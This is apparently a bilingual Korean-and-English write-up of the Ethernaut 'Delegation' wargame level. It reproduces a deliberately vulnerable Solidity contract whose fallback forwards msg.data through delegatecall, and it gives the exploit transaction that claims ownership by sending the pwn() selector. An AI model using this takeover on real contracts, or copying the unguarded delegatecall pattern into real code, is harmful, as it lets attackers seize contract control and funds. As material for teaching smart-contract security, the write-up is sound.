Ethernaut 06 Delegation
Ethernaut 06 DelegationEthernaut 06 DelegationEthernaut 06 Delegation 문제 풀이Ethernaut 06 Delegation writeup
Contents
문제
지문
The goal of this level is for you to claim ownership of the instance you are given. Things that might help
- Look into Solidity's documentation on the
delegatecalllow level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. - Fallback methods
- Method ids
코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}배경지식
fallback()은 호출한 함수 selector가 현재 컨트랙트의 함수와 매칭되지 않을 때 실행되는 함수다.
이 문제에서는 Delegation에 pwn() 함수가 없다. 따라서 Delegation 주소로 pwn()의 calldata를 보내면 fallback()으로 들어간다.
fallback()이 payable이 아니므로 이더 없이 calldata만 보내면 된다.
low-level call은 ABI를 직접 인코딩해서 호출하는 방식이다. Solidity에서 함수 호출 calldata의 앞 4바이트는 함수 시그니처를 keccak256으로 해싱한 뒤 앞 4바이트만 잘라 만든다.
pwn()의 selector는 다음처럼 구한다.
web3.utils.keccak256("pwn()").slice(0, 10)결과는 0xdd365b8b이다. 인자가 없는 함수이므로 calldata는 이 4바이트 selector만 있으면 된다.
delegatecall은 대상 컨트랙트의 코드를 실행하지만, 실행 컨텍스트는 호출한 컨트랙트의 것을 사용한다.
즉 A.delegatecall(B의 코드)라고 하면 코드는 B의 코드를 쓰지만 address(this), msg.sender, storage는 A 기준으로 유지된다.
Delegate.pwn() 안에는 owner = msg.sender가 있는데, 이 코드가 delegatecall로 실행되면 Delegate.owner가 아니라 Delegation.owner를 바꾼다.
문제 코드 분석
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}Delegate에는 pwn()이 있고, 호출자의 주소를 owner에 저장한다.
Delegate에 직접 pwn()을 호출하면 Delegate의 owner만 바뀐다. 목표는 Delegation의 owner이므로 Delegation이 Delegate의 코드를 대신 실행하게 만들어야 한다.
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}Delegation에는 pwn() 함수가 없다. 그래서 pwn()의 selector인 0xdd365b8b를 Delegation 주소로 보내면 fallback()이 실행된다.
fallback()은 받은 msg.data를 그대로 delegatecall에 넘기므로 Delegate 컨트랙트에서 같은 selector에 해당하는 pwn()이 실행된다.
delegatecall은 storage를 Delegation 기준으로 사용한다. 두 컨트랙트 모두 첫 번째 상태변수로 address public owner를 가지고 있으므로 slot 0이 owner로 맞아 떨어진다.
따라서 Delegate.pwn()의 owner = msg.sender는 실제로 Delegation의 slot 0, 즉 Delegation.owner를 내 주소로 덮어쓴다.
필요한 조건은 세 가지다.
Delegation에 없는 함수 selector를 보내fallback()을 실행한다.fallback()이msg.data를 그대로delegatecall에 넘긴다.Delegate.pwn()이delegatecall컨텍스트에서 실행되어Delegation.owner를 바꾼다.
세 조건이 모두 성립하므로 pwn()의 selector인 0xdd365b8b만 Delegation 인스턴스에 보내면 된다.
풀이
pwn()의 함수 selector를 구해서 Delegation 인스턴스에 calldata로 보낸다.
web3.utils.keccak256("pwn()")
// '0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab'함수 selector는 이 해시의 앞 4바이트이므로 0xdd365b8b를 보내면 된다. Delegation에는 이 selector에 해당하는 함수가 없으니 호출은 fallback()으로 들어간다. 그 안에서 Delegate로 delegatecall(msg.data)가 실행되어 pwn()이 돈다.
익스플로잇
await contract.sendTransaction({ data: "0xdd365b8b" })
Challenge
Description
The goal of this level is for you to claim ownership of the instance you are given. Things that might help
- Look into Solidity's documentation on the
delegatecalllow level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope. - Fallback methods
- Method ids
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}Background
fallback() runs when the called function selector does not match any function in the current contract.
In this challenge, Delegation has no pwn() function. So calldata for pwn() sent to the Delegation address goes into fallback().
fallback() is not payable, so the call carries only calldata and no ether.
A low-level call encodes the ABI manually. In Solidity, the first 4 bytes of a function call's calldata are made by hashing the function signature with keccak256 and taking the first 4 bytes.
The selector for pwn() is computed like this:
web3.utils.keccak256("pwn()").slice(0, 10)The result is 0xdd365b8b. Since the function takes no arguments, the calldata only needs this 4-byte selector.
delegatecall executes the target contract's code but uses the calling contract's execution context.
With A.delegatecall(B's code), the code is B's, but address(this), msg.sender, and storage stay those of A.
Delegate.pwn() contains owner = msg.sender, and when this code runs via delegatecall, it changes Delegation.owner, not Delegate.owner.
Challenge code analysis
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}Delegate has pwn(), which stores the caller's address in owner.
Calling pwn() directly on Delegate only changes Delegate's owner. The goal is Delegation's owner, so Delegation has to execute Delegate's code for us.
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}Delegation has no pwn() function. So sending pwn()'s selector, 0xdd365b8b, to the Delegation address triggers fallback().
fallback() forwards the received msg.data as-is to delegatecall, so the pwn() in Delegate that matches the same selector runs.
delegatecall uses Delegation's storage. Both contracts have address public owner as their first state variable, so slot 0 lines up as owner.
So owner = msg.sender in Delegate.pwn() overwrites slot 0 of Delegation, i.e. Delegation.owner, with my address.
Three conditions are required.
- Send a function selector that
Delegationdoes not have, triggeringfallback(). fallback()forwardsmsg.dataas-is todelegatecall.Delegate.pwn()runs in thedelegatecallcontext and changesDelegation.owner.
All three hold, so we only need to send pwn()'s selector, 0xdd365b8b, to the Delegation instance.
Solution
Compute the function selector of pwn() and send it as calldata to the Delegation instance.
web3.utils.keccak256("pwn()")
// '0xdd365b8b15d5d78ec041b851b68c8b985bee78bee0b87c4acf261024d8beabab'The function selector is the first 4 bytes of this hash, so we send 0xdd365b8b. Delegation has no function matching this selector, so the call goes into fallback(). There it runs delegatecall(msg.data) against Delegate, which executes pwn().
Exploit
await contract.sendTransaction({ data: "0xdd365b8b" })